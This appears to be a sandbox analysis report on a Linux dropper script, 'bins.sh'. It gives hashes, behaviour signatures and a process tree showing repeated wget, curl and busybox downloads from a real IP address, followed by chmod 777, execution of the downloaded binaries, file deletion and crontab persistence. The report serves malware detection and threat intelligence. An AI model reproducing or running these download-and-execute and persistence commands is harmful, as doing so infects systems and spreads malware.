Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 22:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26b007b58f7b3e7d4d06412d32ff28e3

  • SHA1

    cd4b89120da91b247046d0ff97dcf15f7de24c67

  • SHA256

    3b8bfbb4ad9a3c9263dcfa5c9f7775892facd8db73df1e45c577682378240c2a

  • SHA512

    9a1c4af960422cf737405359bc9f83045425369dcbd7ae97c201061b817392c34518f84af6a0419b506c50c32e4a865a6267d64e8c133e7ec85af1e70bb38a97

  • SSDEEP

    192:XIkHYgEwH5Gj+fvvozvRsaqn8wV8aqn8w7Mvvozv5IkHYgSzD:XIkHYgEwH5Gj+UQIZIkHYgSzD

Malware Config

Signatures

  • Contacts a large (2164) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1480
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1481
        • /usr/bin/wget
          wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:1487
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:1488
        • /bin/chmod
          chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • File and Directory Permissions Modification
          PID:1493
        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Executes dropped EXE
          PID:1494
        • /bin/rm
          rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
            PID:1496
          • /usr/bin/wget
            wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:1501
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:1502
          • /bin/chmod
            chmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • File and Directory Permissions Modification
            PID:1503
          • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            ./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Executes dropped EXE
            PID:1504
          • /bin/rm
            rm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
              PID:1506
            • /usr/bin/wget
              wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:1507
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:1508
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:1509
            • /bin/chmod
              chmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • File and Directory Permissions Modification
              PID:1510
            • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              ./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Executes dropped EXE
              PID:1511
            • /bin/rm
              rm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
                PID:1513
              • /usr/bin/wget
                wget http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/chmod
                chmod 777 jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • File and Directory Permissions Modification
                PID:1517
              • /tmp/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                ./jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Executes dropped EXE
                PID:1518
              • /bin/rm
                rm jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                  PID:1520
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:1521
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:1522
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:1523
                • /bin/chmod
                  chmod 777 JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1524
                • /tmp/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  ./JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1525
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1527
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1528
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1529
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1530
                      • /bin/rm
                        rm JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                        2⤵
                          PID:1532
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                          2⤵
                            PID:1535

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /var/spool/cron/crontabs/tmp.7zccnI

                          Filesize

                          210B

                          MD5

                          a14c7401345519613a011dfa48ba5721

                          SHA1

                          d7a92523b5e460c5d5a991ccff3282acbe713d0b

                          SHA256

                          c247c0d4ce4455e569a3c90bf7ec2abb7012585242d64471ab39a0338fb35181

                          SHA512

                          765063468d22ab2dcbf74fe3093c4adaa28f4cedda5a14bd5ecc426e1536ff4353fbb714bebdb36e9f87894a7489a03b36ccb5c5dd7aeb7ef7ad4b84e4ca7d7e